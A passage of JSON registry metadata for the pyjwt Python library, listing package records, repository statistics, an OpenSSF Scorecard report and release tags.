ependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python311Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":28,"html_url":null,"role":null,"created_at":"2026-03-08T05:23:17.324Z","updated_at":"2026-03-08T05:23:17.324Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-24.11","url":"https://channels.nixos.org/nixos-24.11","ecosystem":"nixpkgs","default":false,"packages_count":121983,"maintainers_count":3777,"namespaces_count":0,"keywords_count":739,"github":"NixOS","metadata":{"funded_packages_count":283},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.059Z","updated_at":"2026-06-10T05:16:24.031Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/namespaces"}},{"id":13381258,"name":"pyjwt","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-05T07:14:04.755Z","latest_release_published_at":"2026-02-05T07:14:04.755Z","latest_release_number":"2.7.0-1","last_synced_at":"2026-03-05T11:19:53.297Z","created_at":"2026-02-05T07:14:02.074Z","updated_at":"2026-05-29T04:00:36.287Z","registry_url":"https://launchpad.net/ubuntu/+source/pyjwt","install_command":"apt-get install pyjwt","documentation_url":null,"metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python3-jwt","standards_version":"4.6.2","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-python, pybuild-plugin-pyproject, python3-all, python3-cryptography, python3-exceptiongroup, python3-pytest, python3-pytest-cov, python3-pytest-runner, python3-setuptools, python3-tomli","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.g